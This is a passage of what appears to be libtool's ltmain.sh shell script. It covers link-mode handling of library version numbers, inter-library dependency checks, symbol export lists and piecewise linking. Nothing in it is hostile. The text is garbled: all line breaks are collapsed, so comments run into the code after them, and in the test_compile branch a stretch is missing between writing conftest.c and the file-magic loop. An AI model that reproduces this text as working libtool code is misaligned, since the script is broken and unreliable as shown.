$compiler_lib_search_path " in *" $i "*) i="" ;; esac if test -n "$i" ; then tmp_libs="$tmp_libs $i" fi done dependency_libs=$tmp_libs done # for pass if test "$linkmode" = prog; then dlfiles="$newdlfiles" fi if test "$linkmode" = prog || test "$linkmode" = lib; then dlprefiles="$newdlprefiles" fi case $linkmode in oldlib) if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then func_warning "\`-dlopen' is ignored for archives" fi case " $deplibs" in *\ -l* | *\ -L*) func_warning "\`-l' and \`-L' are ignored for archives" ;; esac test -n "$rpath" && \ func_warning "\`-rpath' is ignored for archives" test -n "$xrpath" && \ func_warning "\`-R' is ignored for archives" test -n "$vinfo" && \ func_warning "\`-version-info/-version-number' is ignored for archives" test -n "$release" && \ func_warning "\`-release' is ignored for archives" test -n "$export_symbols$export_symbols_regex" && \ func_warning "\`-export-symbols' is ignored for archives" # Now set the variables for building old libraries. build_libtool_libs=no oldlibs="$output" objs="$objs$old_deplibs" ;; lib) # Make sure we only generate libraries of the form `libNAME.la'. case $outputname in lib*) func_stripname 'lib' '.la' "$outputname" name=$func_stripname_result eval shared_ext=\"$shrext_cmds\" eval libname=\"$libname_spec\" ;; *) test "$module" = no && \ func_fatal_help "libtool library \`$output' must begin with \`lib'" if test "$need_lib_prefix" != no; then # Add the "lib" prefix for modules if required func_stripname '' '.la' "$outputname" name=$func_stripname_result eval shared_ext=\"$shrext_cmds\" eval libname=\"$libname_spec\" else func_stripname '' '.la' "$outputname" libname=$func_stripname_result fi ;; esac if test -n "$objs"; then if test "$deplibs_check_method" != pass_all; then func_fatal_error "cannot build libtool library \`$output' from non-libtool objects on this host:$objs" else $ECHO $ECHO "*** Warning: Linking the shared library $output against the non-libtool" $ECHO "*** objects $objs is not portable!" libobjs="$libobjs $objs" fi fi test "$dlself" != no && \ func_warning "\`-dlopen self' is ignored for libtool libraries" set dummy $rpath shift test "$#" -gt 1 && \ func_warning "ignoring multiple \`-rpath's for a libtool library" install_libdir="$1" oldlibs= if test -z "$rpath"; then if test "$build_libtool_libs" = yes; then # Building a libtool convenience library. # Some compilers have problems with a `.al' extension so # convenience libraries should have the same extension an # archive normally would. oldlibs="$output_objdir/$libname.$libext $oldlibs" build_libtool_libs=convenience build_old_libs=yes fi test -n "$vinfo" && \ func_warning "\`-version-info/-version-number' is ignored for convenience libraries" test -n "$release" && \ func_warning "\`-release' is ignored for convenience libraries" else # Parse the version information argument. save_ifs="$IFS"; IFS=':' set dummy $vinfo 0 0 0 shift IFS="$save_ifs" test -n "$7" && \ func_fatal_help "too many parameters to \`-version-info'" # convert absolute version numbers to libtool ages # this retains compatibility with .la files and attempts # to make the code below a bit more comprehensible case $vinfo_number in yes) number_major="$1" number_minor="$2" number_revision="$3" # # There are really only two kinds -- those that # use the current revision as the major version # and those that subtract age and use age as # a minor version. But, then there is irix # which has an extra 1 added just for fun # case $version_type in darwin|linux|osf|windows|none) func_arith $number_major + $number_minor current=$func_arith_result age="$number_minor" revision="$number_revision" ;; freebsd-aout|freebsd-elf|sunos) current="$number_major" revision="$number_minor" age="0" ;; irix|nonstopux) func_arith $number_major + $number_minor current=$func_arith_result age="$number_minor" revision="$number_minor" lt_irix_increment=no ;; esac ;; no) current="$1" revision="$2" age="$3" ;; esac # Check that each of the things are valid numbers. case $current in 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; *) func_error "CURRENT \`$current' must be a nonnegative integer" func_fatal_error "\`$vinfo' is not valid version information" ;; esac case $revision in 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; *) func_error "REVISION \`$revision' must be a nonnegative integer" func_fatal_error "\`$vinfo' is not valid version information" ;; esac case $age in 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; *) func_error "AGE \`$age' must be a nonnegative integer" func_fatal_error "\`$vinfo' is not valid version information" ;; esac if test "$age" -gt "$current"; then func_error "AGE \`$age' is greater than the current interface number \`$current'" func_fatal_error "\`$vinfo' is not valid version information" fi # Calculate the version variables. major= versuffix= verstring= case $version_type in none) ;; darwin) # Like Linux, but with the current version available in # verstring for coding it into the library header func_arith $current - $age major=.$func_arith_result versuffix="$major.$age.$revision" # Darwin ld doesn't like 0 for these options... func_arith $current + 1 minor_current=$func_arith_result xlcverstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision" verstring="-compatibility_version $minor_current -current_version $minor_current.$revision" ;; freebsd-aout) major=".$current" versuffix=".$current.$revision"; ;; freebsd-elf) major=".$current" versuffix=".$current" ;; irix | nonstopux) if test "X$lt_irix_increment" = "Xno"; then func_arith $current - $age else func_arith $current - $age + 1 fi major=$func_arith_result case $version_type in nonstopux) verstring_prefix=nonstopux ;; *) verstring_prefix=sgi ;; esac verstring="$verstring_prefix$major.$revision" # Add in all the interfaces that we are compatible with. loop=$revision while test "$loop" -ne 0; do func_arith $revision - $loop iface=$func_arith_result func_arith $loop - 1 loop=$func_arith_result verstring="$verstring_prefix$major.$iface:$verstring" done # Before this point, $major must not contain `.'. major=.$major versuffix="$major.$revision" ;; linux) func_arith $current - $age major=.$func_arith_result versuffix="$major.$age.$revision" ;; osf) func_arith $current - $age major=.$func_arith_result versuffix=".$current.$age.$revision" verstring="$current.$age.$revision" # Add in all the interfaces that we are compatible with. loop=$age while test "$loop" -ne 0; do func_arith $current - $loop iface=$func_arith_result func_arith $loop - 1 loop=$func_arith_result verstring="$verstring:${iface}.0" done # Make executables depend on our current version. verstring="$verstring:${current}.0" ;; qnx) major=".$current" versuffix=".$current" ;; sunos) major=".$current" versuffix=".$current.$revision" ;; windows) # Use '-' rather than '.', since we only want one # extension on DOS 8.3 filesystems. func_arith $current - $age major=$func_arith_result versuffix="-$major" ;; *) func_fatal_configuration "unknown library version type \`$version_type'" ;; esac # Clear the version info if we defaulted, and they specified a release. if test -z "$vinfo" && test -n "$release"; then major= case $version_type in darwin) # we can't check for "0.0" in archive_cmds due to quoting # problems, so we reset it completely verstring= ;; *) verstring="0.0" ;; esac if test "$need_version" = no; then versuffix= else versuffix=".0.0" fi fi # Remove version info from name if versioning should be avoided if test "$avoid_version" = yes && test "$need_version" = no; then major= versuffix= verstring="" fi # Check to see if the archive will have undefined symbols. if test "$allow_undefined" = yes; then if test "$allow_undefined_flag" = unsupported; then func_warning "undefined symbols not allowed in $host shared libraries" build_libtool_libs=no build_old_libs=yes fi else # Don't allow undefined symbols. allow_undefined_flag="$no_undefined_flag" fi fi func_generate_dlsyms "$libname" "$libname" "yes" libobjs="$libobjs $symfileobj" test "X$libobjs" = "X " && libobjs= if test "$mode" != relink; then # Remove our outputs, but don't remove object files since they # may have been created when compiling PIC objects. removelist= tempremovelist=`$ECHO "$output_objdir/*"` for p in $tempremovelist; do case $p in *.$objext | *.gcno) ;; $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*) if test "X$precious_files_regex" != "X"; then if $ECHO "$p" | $EGREP -e "$precious_files_regex" >/dev/null 2>&1 then continue fi fi removelist="$removelist $p" ;; *) ;; esac done test -n "$removelist" && \ func_show_eval "${RM}r \$removelist" fi # Now set the variables for building old libraries. if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then oldlibs="$oldlibs $output_objdir/$libname.$libext" # Transform .lo files to .o files. oldobjs="$objs "`$ECHO "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP` fi # Eliminate all temporary directories. #for path in $notinst_path; do # lib_search_path=`$ECHO "X$lib_search_path " | $Xsed -e "s% $path % %g"` # deplibs=`$ECHO "X$deplibs " | $Xsed -e "s% -L$path % %g"` # dependency_libs=`$ECHO "X$dependency_libs " | $Xsed -e "s% -L$path % %g"` #done if test -n "$xrpath"; then # If the user specified any rpath flags, then add them. temp_xrpath= for libdir in $xrpath; do temp_xrpath="$temp_xrpath -R$libdir" case "$finalize_rpath " in *" $libdir "*) ;; *) finalize_rpath="$finalize_rpath $libdir" ;; esac done if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then dependency_libs="$temp_xrpath $dependency_libs" fi fi # Make sure dlfiles contains only unique files that won't be dlpreopened old_dlfiles="$dlfiles" dlfiles= for lib in $old_dlfiles; do case " $dlprefiles $dlfiles " in *" $lib "*) ;; *) dlfiles="$dlfiles $lib" ;; esac done # Make sure dlprefiles contains only unique files old_dlprefiles="$dlprefiles" dlprefiles= for lib in $old_dlprefiles; do case "$dlprefiles " in *" $lib "*) ;; *) dlprefiles="$dlprefiles $lib" ;; esac done if test "$build_libtool_libs" = yes; then if test -n "$rpath"; then case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos* | *-cegcc*) # these systems don't actually have a c library (as such)! ;; *-*-rhapsody* | *-*-darwin1.[012]) # Rhapsody C library is in the System framework deplibs="$deplibs System.ltframework" ;; *-*-netbsd*) # Don't link with libc until the a.out ld.so is fixed. ;; *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) # Do not include libc due to us having libc/libc_r. ;; *-*-sco3.2v5* | *-*-sco5v6*) # Causes problems with __ctype ;; *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) # Compiler inserts libc in the correct place for threads to work ;; *) # Add libc to deplibs on all other systems if necessary. if test "$build_libtool_need_lc" = "yes"; then deplibs="$deplibs -lc" fi ;; esac fi # Transform deplibs into only deplibs that can be linked in shared. name_save=$name libname_save=$libname release_save=$release versuffix_save=$versuffix major_save=$major # I'm not sure if I'm treating the release correctly. I think # release should show up in the -l (ie -lgmp5) so we don't want to # add it in twice. Is that correct? release="" versuffix="" major="" newdeplibs= droppeddeps=no case $deplibs_check_method in pass_all) # Don't check for shared/static. Everything works. # This might be a little naive. We might want to check # whether the library exists or not. But this is on # osf3 & osf4 and I'm not really sure... Just # implementing what was already the behavior. newdeplibs=$deplibs ;; test_compile) # This code stresses the "libraries are programs" paradigm to its # limits. Maybe even breaks it. We compile a program, linking it # against the deplibs as a proxy for the library. Then we can check # whether they linked in statically or dynamically with ldd. $opt_dry_run || $RM conftest.c cat > conftest.c </dev/null` for potent_lib in $potential_libs; do # Follow soft links. if ls -lLd "$potent_lib" 2>/dev/null | $GREP " -> " >/dev/null; then continue fi # The statement above tries to avoid entering an # endless loop below, in case of cyclic links. # We might still enter an endless loop, since a link # loop can be closed while we follow links, # but so what? potlib="$potent_lib" while test -h "$potlib" 2>/dev/null; do potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'` case $potliblink in [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";; *) potlib=`$ECHO "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";; esac done if eval $file_magic_cmd \"\$potlib\" 2>/dev/null | $SED -e 10q | $EGREP "$file_magic_regex" > /dev/null; then newdeplibs="$newdeplibs $a_deplib" a_deplib="" break 2 fi done done fi if test -n "$a_deplib" ; then droppeddeps=yes $ECHO $ECHO "*** Warning: linker path does not have real file for library $a_deplib." $ECHO "*** I have the capability to make that library automatically link in when" $ECHO "*** you link to this library. But I can only do this if you have a" $ECHO "*** shared version of the library, which you do not appear to have" $ECHO "*** because I did check the linker path looking for a file starting" if test -z "$potlib" ; then $ECHO "*** with $libname but no candidates were found. (...for file magic test)" else $ECHO "*** with $libname and none of the candidates passed a file format test" $ECHO "*** using a file magic. Last file checked: $potlib" fi fi ;; *) # Add a -L argument. newdeplibs="$newdeplibs $a_deplib" ;; esac done # Gone through all deplibs. ;; match_pattern*) set dummy $deplibs_check_method; shift match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"` for a_deplib in $deplibs; do case $a_deplib in -l*) func_stripname -l '' "$a_deplib" name=$func_stripname_result if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then case " $predeps $postdeps " in *" $a_deplib "*) newdeplibs="$newdeplibs $a_deplib" a_deplib="" ;; esac fi if test -n "$a_deplib" ; then libname=`eval "\\$ECHO \"$libname_spec\""` for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do potential_libs=`ls $i/$libname[.-]* 2>/dev/null` for potent_lib in $potential_libs; do potlib="$potent_lib" # see symlink-check above in file_magic test if eval "\$ECHO \"X$potent_lib\"" 2>/dev/null | $Xsed -e 10q | \ $EGREP "$match_pattern_regex" > /dev/null; then newdeplibs="$newdeplibs $a_deplib" a_deplib="" break 2 fi done done fi if test -n "$a_deplib" ; then droppeddeps=yes $ECHO $ECHO "*** Warning: linker path does not have real file for library $a_deplib." $ECHO "*** I have the capability to make that library automatically link in when" $ECHO "*** you link to this library. But I can only do this if you have a" $ECHO "*** shared version of the library, which you do not appear to have" $ECHO "*** because I did check the linker path looking for a file starting" if test -z "$potlib" ; then $ECHO "*** with $libname but no candidates were found. (...for regex pattern test)" else $ECHO "*** with $libname and none of the candidates passed a file format test" $ECHO "*** using a regex pattern. Last file checked: $potlib" fi fi ;; *) # Add a -L argument. newdeplibs="$newdeplibs $a_deplib" ;; esac done # Gone through all deplibs. ;; none | unknown | *) newdeplibs="" tmp_deplibs=`$ECHO "X $deplibs" | $Xsed \ -e 's/ -lc$//' -e 's/ -[LR][^ ]*//g'` if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then for i in $predeps $postdeps ; do # can't use Xsed below, because $i might contain '/' tmp_deplibs=`$ECHO "X $tmp_deplibs" | $Xsed -e "s,$i,,"` done fi if $ECHO "X $tmp_deplibs" | $Xsed -e 's/[ ]//g' | $GREP . >/dev/null; then $ECHO if test "X$deplibs_check_method" = "Xnone"; then $ECHO "*** Warning: inter-library dependencies are not supported in this platform." else $ECHO "*** Warning: inter-library dependencies are not known to be supported." fi $ECHO "*** All declared inter-library dependencies are being dropped." droppeddeps=yes fi ;; esac versuffix=$versuffix_save major=$major_save release=$release_save libname=$libname_save name=$name_save case $host in *-*-rhapsody* | *-*-darwin1.[012]) # On Rhapsody replace the C library with the System framework newdeplibs=`$ECHO "X $newdeplibs" | $Xsed -e 's/ -lc / System.ltframework /'` ;; esac if test "$droppeddeps" = yes; then if test "$module" = yes; then $ECHO $ECHO "*** Warning: libtool could not satisfy all declared inter-library" $ECHO "*** dependencies of module $libname. Therefore, libtool will create" $ECHO "*** a static module, that should work as long as the dlopening" $ECHO "*** application is linked with the -dlopen flag." if test -z "$global_symbol_pipe"; then $ECHO $ECHO "*** However, this would only work if libtool was able to extract symbol" $ECHO "*** lists from a program, using \`nm' or equivalent, but libtool could" $ECHO "*** not find such a program. So, this module is probably useless." $ECHO "*** \`nm' from GNU binutils and a full rebuild may help." fi if test "$build_old_libs" = no; then oldlibs="$output_objdir/$libname.$libext" build_libtool_libs=module build_old_libs=yes else build_libtool_libs=no fi else $ECHO "*** The inter-library dependencies that have been dropped here will be" $ECHO "*** automatically added whenever a program is linked with this library" $ECHO "*** or is declared to -dlopen it." if test "$allow_undefined" = no; then $ECHO $ECHO "*** Since this library must not contain undefined symbols," $ECHO "*** because either the platform does not support them or" $ECHO "*** it was explicitly requested with -no-undefined," $ECHO "*** libtool will only create a static version of it." if test "$build_old_libs" = no; then oldlibs="$output_objdir/$libname.$libext" build_libtool_libs=module build_old_libs=yes else build_libtool_libs=no fi fi fi fi # Done checking deplibs! deplibs=$newdeplibs fi # Time to change all our "foo.ltframework" stuff back to "-framework foo" case $host in *-*-darwin*) newdeplibs=`$ECHO "X $newdeplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` new_inherited_linker_flags=`$ECHO "X $new_inherited_linker_flags" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` deplibs=`$ECHO "X $deplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` ;; esac # move library search paths that coincide with paths to not yet # installed libraries to the beginning of the library search list new_libs= for path in $notinst_path; do case " $new_libs " in *" -L$path/$objdir "*) ;; *) case " $deplibs " in *" -L$path/$objdir "*) new_libs="$new_libs -L$path/$objdir" ;; esac ;; esac done for deplib in $deplibs; do case $deplib in -L*) case " $new_libs " in *" $deplib "*) ;; *) new_libs="$new_libs $deplib" ;; esac ;; *) new_libs="$new_libs $deplib" ;; esac done deplibs="$new_libs" # All the library-specific variables (install_libdir is set above). library_names= old_library= dlname= # Test again, we may have decided not to build it any more if test "$build_libtool_libs" = yes; then if test "$hardcode_into_libs" = yes; then # Hardcode the library paths hardcode_libdirs= dep_rpath= rpath="$finalize_rpath" test "$mode" != relink && rpath="$compile_rpath$rpath" for libdir in $rpath; do if test -n "$hardcode_libdir_flag_spec"; then if test -n "$hardcode_libdir_separator"; then if test -z "$hardcode_libdirs"; then hardcode_libdirs="$libdir" else # Just accumulate the unique libdirs. case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) ;; *) hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" ;; esac fi else eval flag=\"$hardcode_libdir_flag_spec\" dep_rpath="$dep_rpath $flag" fi elif test -n "$runpath_var"; then case "$perm_rpath " in *" $libdir "*) ;; *) perm_rpath="$perm_rpath $libdir" ;; esac fi done # Substitute the hardcoded libdirs into the rpath. if test -n "$hardcode_libdir_separator" && test -n "$hardcode_libdirs"; then libdir="$hardcode_libdirs" if test -n "$hardcode_libdir_flag_spec_ld"; then eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\" else eval dep_rpath=\"$hardcode_libdir_flag_spec\" fi fi if test -n "$runpath_var" && test -n "$perm_rpath"; then # We should set the runpath_var. rpath= for dir in $perm_rpath; do rpath="$rpath$dir:" done eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var" fi test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs" fi shlibpath="$finalize_shlibpath" test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath" if test -n "$shlibpath"; then eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var" fi # Get the real and link names of the library. eval shared_ext=\"$shrext_cmds\" eval library_names=\"$library_names_spec\" set dummy $library_names shift realname="$1" shift if test -n "$soname_spec"; then eval soname=\"$soname_spec\" else soname="$realname" fi if test -z "$dlname"; then dlname=$soname fi lib="$output_objdir/$realname" linknames= for link do linknames="$linknames $link" done # Use standard objects if they are pic test -z "$pic_flag" && libobjs=`$ECHO "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` test "X$libobjs" = "X " && libobjs= delfiles= if test -n "$export_symbols" && test -n "$include_expsyms"; then $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp" export_symbols="$output_objdir/$libname.uexp" delfiles="$delfiles $export_symbols" fi orig_export_symbols= case $host_os in cygwin* | mingw* | cegcc*) if test -n "$export_symbols" && test -z "$export_symbols_regex"; then # exporting using user supplied symfile if test "x`$SED 1q $export_symbols`" != xEXPORTS; then # and it's NOT already a .def file. Must figure out # which of the given symbols are data symbols and tag # them as such. So, trigger use of export_symbols_cmds. # export_symbols gets reassigned inside the "prepare # the list of exported symbols" if statement, so the # include_expsyms logic still works. orig_export_symbols="$export_symbols" export_symbols= always_export_symbols=yes fi fi ;; esac # Prepare the list of exported symbols if test -z "$export_symbols"; then if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then func_verbose "generating symbol list for \`$libname.la'" export_symbols="$output_objdir/$libname.exp" $opt_dry_run || $RM $export_symbols cmds=$export_symbols_cmds save_ifs="$IFS"; IFS='~' for cmd in $cmds; do IFS="$save_ifs" eval cmd=\"$cmd\" func_len " $cmd" len=$func_len_result if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then func_show_eval "$cmd" 'exit $?' skipped_export=false else # The command line is too long to execute in one step. func_verbose "using reloadable object file for export list..." skipped_export=: # Break out early, otherwise skipped_export may be # set to false by a later but shorter cmd. break fi done IFS="$save_ifs" if test -n "$export_symbols_regex" && test "X$skipped_export" != "X:"; then func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' func_show_eval '$MV "${export_symbols}T" "$export_symbols"' fi fi fi if test -n "$export_symbols" && test -n "$include_expsyms"; then tmp_export_symbols="$export_symbols" test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols" $opt_dry_run || eval '$ECHO "X$include_expsyms" | $Xsed | $SP2NL >> "$tmp_export_symbols"' fi if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then # The given exports_symbols file has to be filtered, so filter it. func_verbose "filter symbol list for \`$libname.la' to tag DATA exports" # FIXME: $output_objdir/$libname.filter potentially contains lots of # 's' commands which not all seds can handle. GNU sed should be fine # though. Also, the filter scales superlinearly with the number of # global variables. join(1) would be nice here, but unfortunately # isn't a blessed tool. $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter delfiles="$delfiles $export_symbols $output_objdir/$libname.filter" export_symbols=$output_objdir/$libname.def $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols fi tmp_deplibs= for test_deplib in $deplibs; do case " $convenience " in *" $test_deplib "*) ;; *) tmp_deplibs="$tmp_deplibs $test_deplib" ;; esac done deplibs="$tmp_deplibs" if test -n "$convenience"; then if test -n "$whole_archive_flag_spec" && test "$compiler_needs_object" = yes && test -z "$libobjs"; then # extract the archives, so we have objects to list. # TODO: could optimize this to just extract one archive. whole_archive_flag_spec= fi if test -n "$whole_archive_flag_spec"; then save_libobjs=$libobjs eval libobjs=\"\$libobjs $whole_archive_flag_spec\" test "X$libobjs" = "X " && libobjs= else gentop="$output_objdir/${outputname}x" generated="$generated $gentop" func_extract_archives $gentop $convenience libobjs="$libobjs $func_extract_archives_result" test "X$libobjs" = "X " && libobjs= fi fi if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then eval flag=\"$thread_safe_flag_spec\" linker_flags="$linker_flags $flag" fi # Make a backup of the uninstalled library when relinking if test "$mode" = relink; then $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $? fi # Do each of the archive commands. if test "$module" = yes && test -n "$module_cmds" ; then if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then eval test_cmds=\"$module_expsym_cmds\" cmds=$module_expsym_cmds else eval test_cmds=\"$module_cmds\" cmds=$module_cmds fi else if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then eval test_cmds=\"$archive_expsym_cmds\" cmds=$archive_expsym_cmds else eval test_cmds=\"$archive_cmds\" cmds=$archive_cmds fi fi if test "X$skipped_export" != "X:" && func_len " $test_cmds" && len=$func_len_result && test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then : else # The command line is too long to link in one step, link piecewise # or, if using GNU ld and skipped_export is not :, use a linker # script. # Save the value of $output and $libobjs because we want to # use them later. If we have whole_archive_flag_spec, we # want to use save_libobjs as it was before # whole_archive_flag_spec was expanded, because we can't # assume the linker understands whole_archive_flag_spec. # This may have to be revisited, in case too many # convenience libraries get linked in and end up exceeding # the spec. if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then save_libobjs=$libobjs fi save_output=$output output_la=`$ECHO "X$output" | $Xsed -e "$basename"` # Clear the reloadable object creation command queue and # initialize k to one. test_cmds= concat_cmds= objlist= last_robj= k=1 if test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "$with_gnu_ld" = yes; then output=${output_objdir}/${output_la}.lnkscript func_verbose "creating GNU ld script: $output" $ECHO 'INPUT (' > $output for obj in $save_libobjs do $ECHO "$obj" >> $output done $ECHO ')' >> $output delfiles="$delfiles $output" elif test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then output=${output_objdir}/${output_la}.lnk func_verbose "creating linker input file list: $output" : > $output set x $save_libobjs shift firstobj= if test "$compiler_needs_object" = yes; then firstobj="$1 " shift fi for obj do $ECHO "$obj" >> $output done delfiles="$delfiles $output" output=$firstobj\"$file_list_spec$output\" else if test -n "$save_libobjs"; then func_verbose "creating reloadable object files..." output=$output_objdir/$output_la-${k}.$objext eval test_cmds=\"$reload_cmds\" func_len " $test_cmds" len0=$func_len_result len=$len0 # Loop over the list of objects to be linked. for obj in $save_libobjs do func_len " $obj" func_arith $len + $func_len_result len=$func_arith_result if test "X$objlist" = X || test "$len" -lt "$max_cmd_len"; then func_append objlist " $obj" else # The command $test_cmds is almost too long, add a # command to the queue. if test "$k" -eq 1 ; then # The first file doesn't have a previous command to add. eval concat_cmds=\"$reload_cmds $objlist $last_robj\" else # All subsequent reloadable object files will link in # the last one created. eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj~\$RM $last_robj\" fi last_robj=$output_objdir/$output_la-${k}.$objext func_arith $k + 1 k=$func_arith_result output=$output_objdir/$output_la-${k}.$objext objlist=$obj func_len " $last_robj" func_arith $len0 + $func_len_result len=$func_arith_result fi done # Handle the remaining objects by creating one last # reloadable object file. All subsequent reloadable object # files will link in the last one created. test -z "$concat_cmds" || concat_cmds=$concat_cmds~ eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\" if test -n "$last_robj"; then eval concat_cmds=\"\${concat_cmds}~\$RM $last_robj\" fi delfiles="$delfiles $output" else output= fi if ${skipped_export-false}; then func_verbose "generating symbol list for \`$libname.la'" export_symbols="$output_objdir/$libname.exp" $opt_dry_run || $RM $export_symbols libobjs=$output # Append the command to create the export file. test -z "$concat_cmds" || concat_cmds=$concat_cmds~ eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\" if test -n "$last_robj"; then eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\" fi fi test -n "$save_libobjs" && func_verbose "creating a temporary reloadable object file: $output" # Loop through the commands generated above and execute them. save_ifs="$IFS"; IFS='~' for cmd in $concat_cmds; do IFS="$save_ifs" $opt_silent || { func_quote_for_expand "$cmd" eval "func_echo $func_quote_for_expand_result" } $opt_dry_run || eval "$cmd" || { lt_exit=$? # Restore the uninstalled library and exit if test "$mode" = relink; then ( cd "$output_objdir" && \ $RM "${realname}T" && \ $MV "${realname}U" "$realname" ) fi exit $lt_exit } done IFS="$save_ifs" if test -n "$export_symbols_regex" && ${skipped_export-false}; then func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' func_show_eval '$MV "${export_symbols}T" "$export_symbols"' fi fi if ${skipped_export-false}; then if test -n "$export_symbols" && test -n "$include_expsyms"; then tmp_export_symbols="$export_symbols" test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols" $opt_dry_run || eval '$ECHO "X$include_expsyms" | $Xsed | $SP2NL >> "$tmp_export_symbols"' fi if test -n "$orig_export_symbols"; then # The given exports_symbols file has to be filtered, so filter it. func_verbose "filter symbol list for \`$libname.la' to tag DATA exports" # FIXME: $output_objdir/$libname.filter potentially contains lots of # 's' commands which not all seds can handle. GNU sed should be fine # though. Also, the filter scales superlinearly with the number of # global variables. join(1) would be nice here, but unfortunately # isn't a blessed tool. $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter delfiles="$delfiles $export_symbols $output_objdir/$libname.filter" export_symbols=$output_objdir/$libname.def $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols fi fi libobjs=$output # Restore the value of output. output=$save_output if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then eval libobjs=\"\$libobjs $whole_archive_flag_spec\" test "X$libobjs" = "X " && libobjs= fi # Expand the library linking commands again to reset the # value of $libobjs for piecewise linking. # Do each of the archive commands. if test "$module" = yes && test -n "$module_cmds" ; then if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then cmds=$module_expsym_cmds else cmds=$module_cmds fi else if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then cmds=$archive_expsym_cmds else cmds=$archive_cmds fi fi fi if test -n "$delfiles"; then # Append the command to remove temporary files to $cmds. eval cmds=\"\$cmds~\$RM $delfiles\" fi # Add any objects from preloaded convenience libraries if test -n "$dlprefiles"; then gentop="$output_objdir/${outputname}x" generated="$generated $gentop" func_extract_archives $gentop $dlprefiles libobjs="$libobjs $func_extract_archives_result" test "X$libobjs" = "X " && libobjs= fi save_ifs="$IFS"; IFS='~' for cmd in $cmds; do IFS="$save_ifs" eval cmd=\"$cmd\" $opt_silent || { func_quote_for_expand "$cmd" eval "func_echo $func_quote_for_expand_result" } $opt_dry_run || eval "$cmd" || { lt_exit=$? # Restore the uninstalled library and exit if test "$mode" = relink; then ( cd "$output_objdir" && \ $RM "${realname}T" && \ $MV "${realname}U" "$realname" ) fi exit $lt_exit } done IFS="$save_ifs" # Restore the uninstalled library and exit if test "$mode" = relink; then $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $? if test -n "$convenience"; then if test -z "$whole_archive_flag_spec"; then func_show_eval '${RM}r "$gentop"' fi fi exit $EXIT_SUCCESS fi # Create links to the real library. for linkname in $linknames; do if test "$realname" != "$linkname"; then func_show_eval '(cd "$output_objdir" && $RM "$linkname" && $LN_S "$realname" "$linkname")' 'exit $?' fi done # If -module or -export-dynamic was specified, set the dlname. if test "$module" = yes || test "$export_dynamic" = yes; then # On all known operating systems, these are identical. dlname="$soname" fi fi ;; obj) if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then func_warning "\`-dlopen' is ignored for objects" fi case " $deplibs" in *\ -l* | *\ 